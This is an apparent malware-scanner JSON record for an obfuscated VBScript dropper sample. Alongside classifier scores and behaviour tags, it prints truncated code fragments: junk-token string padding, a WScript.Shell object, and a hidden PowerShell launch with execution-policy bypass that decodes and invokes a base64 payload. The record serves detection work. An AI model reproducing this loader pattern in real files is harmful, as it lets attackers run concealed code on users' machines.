{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 0.9987763166427612,
        "class": 2,
        "threshold": 0.9975002408027649
      }
    ],
    "prob": 0.9987763,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9987763,
        "class": 2
      },
      {
        "m": "az/vbs",
        "prob": 1.0,
        "class": 2
      }
    ],
    "version": "v17.17",
    "threshold": 0.99750024,
    "analyzed_at": "2026-05-31T07:41:29Z"
  },
  "path": "ddf451e7e63b25b41485ffcfd3337e4e0d876e01bde6171ff286f0a5e3df3def.vbs",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O₃(AsCXe)H₂(Os₂Po₂)",
        "x": 75,
        "ff": {
          "m": {
            "file": {
              "size": 57739.0,
              "entropy": 3.64,
              "size_bytes": 57739.0
            },
            "text": {
              "digit_ratio": 0.01,
              "space_count": 194.0,
              "total_lines": 48.0,
              "char_entropy": 3.64,
              "unique_chars": 79.0,
              "lines_over_200": 10.0,
              "lines_over_500": 10.0,
              "avg_line_length": 1200.9,
              "lines_over_1000": 10.0,
              "max_line_length": 5366.0,
              "empty_line_ratio": 0.04,
              "last_line_length": 73.0,
              "long_token_count": 19.0,
              "whitespace_ratio": 0.01,
              "most_common_ratio": 0.25,
              "line_length_stddev": 2136.17,
              "most_common_char_is_null": 0.0,
              "max_inline_whitespace_run": 1.0,
              "most_common_char_codepoint": 111.0
            }
          },
          "s": [
            [
              2,
              "u8",
              "On Error Resume Next"
            ],
            [
              27,
              "u8",
              "eightscore = \"JxoyxbguoffhoezoGxoyxbguoffhoezolxoyxbguoffhoezosxoyxbguoffhoezobxoyxbguoffhoezoGxoyxbguoffhoezo9xoyxbguoffhoezojx"
            ],
            [
              5382,
              "u8",
              "eightscore = eightscore \u0026 \"fhoezoExoyxbguoffhoezogxoyxbguoffhoezoPxoyxbguoffhoezoSxoyxbguoffhoezoBxoyxbguoffhoezobxoyxbguoffhoez"
            ],
            [
              10750,
              "u8",
              "eightscore = eightscore \u0026 \"xbguoffhoezoJxoyxbguoffhoezo1xoyxbguoffhoezoVxoyxbguoffhoezozxoyxbguoffhoezoZxoyxbguoffhoezoXxoyxbguo"
            ],
            [
              16118,
              "u8",
              "eightscore = eightscore \u0026 \"zoHxoyxbguoffhoezogxoyxbguoffhoezowxoyxbguoffhoezoMxoyxbguoffhoezoCxoyxbguoffhoezowxoyxbguoffhoezogxo"
            ],
            [
              21486,
              "u8",
              "eightscore = eightscore \u0026 \"offhoezolxoyxbguoffhoezobxoyxbguoffhoezonxoyxbguoffhoezoRxoyxbguoffhoezosxoyxbguoffhoezoZxoyxbguoffho"
            ],
            [
              26854,
              "u8",
              "eightscore = eightscore \u0026 \"oyxbguoffhoezojxoyxbguoffhoezotxoyxbguoffhoezoixoyxbguoffhoezocxoyxbguoffhoezomxoyxbguoffhoezoVxoyxbg"
            ],
            [
              32222,
              "u8",
              "eightscore = eightscore \u0026 \"oezoRxoyxbguoffhoezooxoyxbguoffhoezoexoyxbguoffhoezoWxoyxbguoffhoezoVxoyxbguoffhoezozxoyxbguoffhoezoP"
            ],
            [
              37589,
              "u8",
              "eightscore = eightscore \u0026 \"bguoffhoezocxoyxbguoffhoezoGxoyxbguoffhoezoFxoyxbguoffhoezosxoyxbguoffhoezoZxoyxbguoffhoezoWxoyxbguof"
            ],
            [
              42956,
              "u8",
              "eightscore = eightscore \u0026 \"zoWxoyxbguoffhoezoFxoyxbguoffhoezowxoyxbguoffhoezocxoyxbguoffhoezoGxoyxbguoffhoezoVxoyxbguoffhoezokxo"
            ],
            [
              48323,
              "u8",
              "eightscore = eightscore \u0026 \"uoffhoezohxoyxbguoffhoezoZxoyxbguoffhoezoCxoyxbguoffhoezogxoyxbguoffhoezokxoyxbguoffhoezobxoyxbguoffh"
            ],
            [
              53690,
              "u8",
              "eightscore = Replace(eightscore, \"xoyxbguoffhoezo\", \"\")"
            ],
            [
              53747,
              "u8",
              "Set antiferromagnet = CreateObject(\"WScript.Shell\")"
            ],
            [
              53800,
              "u8",
              "melezibiose = \"xoyxbguoffhoezo$eightscorexoyxbguoffhoezo='xoyxbguoffhoezo\" \u0026 eightscore \u0026 \"xoyxbguoffhoezo';\""
            ],
            [
              53911,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo$Bollyxoyxbguoffhoezo=xoyxbguoffhoezo\""
            ],
            [
              53995,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo[xoyxbguoffhoezoSxoyxbguoffhoezoyxoyxbguoffhoezo\""
            ],
            [
              54090,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezosxoyxbguoffhoezotxoyxbguoffhoezoexoyxbguoffhoezo\""
            ],
            [
              54185,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezomxoyxbguoffhoezo.xoyxbguoffhoezoTxoyxbguoffhoezoexoyxbguoffhoezo\""
            ],
            [
              54296,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezoxxoyxbguoffhoezotxoyxbguoffhoezo.xoyxbguoffhoezoExoyxbguoffhoezonxoyxbguoffhoezocxoy"
            ],
            [
              54455,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezodxoyxbguoffhoezoixoyxbguoffhoezonxoyxbguoffhoezogxoyxbguoffhoezo]xoyxbguoffhoezo:xoy"
            ],
            [
              54598,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo:xoyxbguoffhoezoUxoyxbguoffhoezoTxoyxbguoffhoezoFxoyxbguoffhoezo8xoyxbguoffhoezo\""
            ],
            [
              54725,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo.xoyxbguoffhoezoGxoyxbguoffhoezoexoyxbguoffhoezotxoyxbguoffhoezoSxoyxbguoffhoezo\""
            ],
            [
              54852,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezotxoyxbguoffhoezorxoyxbguoffhoezoixoyxbguoffhoezonxoyxbguoffhoezogxoyxbguoffhoezo(xoy"
            ],
            [
              54995,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo[xoyxbguoffhoezoSxoyxbguoffhoezoyxoyxbguoffhoezosxoyxbguoffhoezotxoyxbguoffhoezoexoy"
            ],
            [
              55154,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo.xoyxbguoffhoezoCxoyxbguoffhoezooxoyxbguoffhoezonxoyxbguoffhoezovxoyxbguoffhoezoexoy"
            ],
            [
              55313,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezotxoyxbguoffhoezo]xoyxbguoffhoezo:xoyxbguoffhoezo:xoyxbguoffhoezoxoyxbguoffhoezoFxoyx"
            ],
            [
              55503,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezoBxoyxbguoffhoezoaxoyxbguoffhoezosxoyxbguoffhoezoexoyxbguoffhoezo6xoyxbguoffhoezo\""
            ],
            [
              55630,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezo4xoyxbguoffhoezoSxoyxbguoffhoezotxoyxbguoffhoezo\""
            ],
            [
              55725,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezorxoyxbguoffhoezoixoyxbguoffhoezonxoyxbguoffhoezo\""
            ],
            [
              55820,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezogxoyxbguoffhoezo(xoyxbguoffhoezo$xoyxbguoffhoezoeightscorexoyxbguoffhoezo)xoyxbguoff"
            ],
            [
              55988,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezoIxoyxbguoffhoezonxoyxbguoffhoezo\""
            ],
            [
              56067,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezovxoyxbguoffhoezooxoyxbguoffhoezokxoyxbguoffhoezoexoyxbguoffhoezo-xoyxbguoffhoezoExoy"
            ],
            [
              56242,
              "u8",
              "melezibiose = melezibiose \u0026 \"xoyxbguoffhoezorxoyxbguoffhoezoexoyxbguoffhoezosxoyxbguoffhoezosxoyxbguoffhoezoixoyxbguoffhoezooxoy"
            ],
            [
              56438,
              "u8",
              "melezibiose = Replace(melezibiose, \"xoyxbguoffhoezo\", \"\")"
            ],
            [
              56497,
              "u8",
              "heliophilous = \"xoyxbguoffhoezopxoyxbguoffhoezooxoyxbguoffhoezowxoyxbguoffhoezo\""
            ],
            [
              56579,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezoexoyxbguoffhoezorxoyxbguoffhoezosxoyxbguoffhoezohxoyxbguoffhoezoexoyxbguoffhoezo\""
            ],
            [
              56708,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezolxoyxbguoffhoezol xoyxbguoffhoezo-xoyxbguoffhoezowxoyxbguoffhoezo\""
            ],
            [
              56822,
              "u8",
              "heliophilous = heliophilous \u0026 \" xoyxbguoffhoezohxoyxbguoffhoezoixoyxbguoffhoezodxoyxbguoffhoezodxoyxbguoffhoezoexoyxbguoffhoezo\""
            ],
            [
              56952,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezon xoyxbguoffhoezo-xoyxbguoffhoezonxoyxbguoffhoezooxoyxbguoffhoezopxoyxbguoffhoezo\""
            ],
            [
              57082,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezorxoyxbguoffhoezooxoyxbguoffhoezofxoyxbguoffhoezoixoyxbguoffhoezo\""
            ],
            [
              57195,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezolxoyxbguoffhoezoe xoyxbguoffhoezo-xoyxbguoffhoezoexoyxbguoffhoezo\""
            ],
            [
              57309,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezopxoyxbguoffhoezo bxoyxbguoffhoezoyxoyxbguoffhoezo\""
            ],
            [
              57407,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezopxoyxbguoffhoezoaxoyxbguoffhoezosxoyxbguoffhoezo\""
            ],
            [
              57504,
              "u8",
              "heliophilous = heliophilous \u0026 \"xoyxbguoffhoezosxoyxbguoffhoezo -xoyxbguoffhoezocxoyxbguoffhoezo \""
            ],
            [
              57603,
              "u8",
              "heliophilous = Replace(heliophilous, \"xoyxbguoffhoezo\", \"\")"
            ]
          ],
          "v": {
            "file.stem": "ddf451e7e63b25b41485ffcfd3337e4e0d876e01bde6171ff286f0a5e3df3def",
            "file.basename": "ddf451e7e63b25b41485ffcfd3337e4e0d876e01bde6171ff286f0a5e3df3def.vbs"
          },
          "id": "vbs"
        },
        "id": 0,
        "sz": 57739,
        "ts": [
          {
            "c": 0.800000011920929,
            "d": "Instantiates WScript.Shell object",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/wsh/file::wscript-shell-object",
            "l": 3
          },
          {
            "a": "T1105",
            "c": 0.9200000166893005,
            "d": "WSH runs hidden window",
            "e": [
              ".Run \"\"\u0026 heliophilous \u0026\"\"\"\" \u0026 melezibiose \u0026 \"\"\"\", 0"
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-run-hidden-zero",
            "l": 4
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 5366.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "WSH creates shell object",
            "e": [
              "CreateObject(\"WScript.Shell\""
            ],
            "i": "objectives/command-and-control/dropper/execution/wsh::wsh-shell-create",
            "l": 4
          },
          {
            "c": 0.699999988079071,
            "d": "WScript.Shell object reference",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell",
            "l": 3
          },
          {
            "a": "T1059.005",
            "c": 0.75,
            "d": "WScript Run method",
            "e": [
              ".Run \""
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-run",
            "l": 3
          },
          {
            "a": "T1059.005",
            "c": 0.8500000238418579,
            "d": "WScript.Shell object creation",
            "e": [
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::wscript-shell-create",
            "l": 3
          },
          {
            "c": 0.800000011920929,
            "d": "WScript.Shell object string",
            "e": [
              "WScript.Shell"
            ],
            "i": "micro-behaviors/os/com/object::wscript-shell-literal",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 48.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "c": 0.8500000238418579,
            "d": "PowerShell or VBScript line bloat",
            "e": [
              "text.avg_line_length = 1200.90"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::script-host-line-bloat",
            "l": 4
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.01"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "Shell or CreateObject invocation",
            "e": [
              "CreateObject("
            ],
            "i": "micro-behaviors/process/create/macro/office::shell-or-createobject-call",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 10.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1059.005",
            "c": 0.949999988079071,
            "d": "VBScript WScript.Shell launcher",
            "e": [
              ".Run \"",
              "CreateObject(\"WScript.Shell"
            ],
            "i": "objectives/execution/interpreter/vbscript/interpreter::vbs-powershell-launcher",
            "l": 3
          }
        ],
        "sha": "ddf451e7e63b25b41485ffcfd3337e4e0d876e01bde6171ff286f0a5e3df3def",
        "path": "/data/samples/bad/datasets/various/datalake.abuse.ch/2025-08/ddf451e7e63b25b41485ffcfd3337e4e0d876e01bde6171ff286f0a5e3df3def.vbs",
        "type": "vbs"
      }
    ],
    "tv": "52045"
  }
}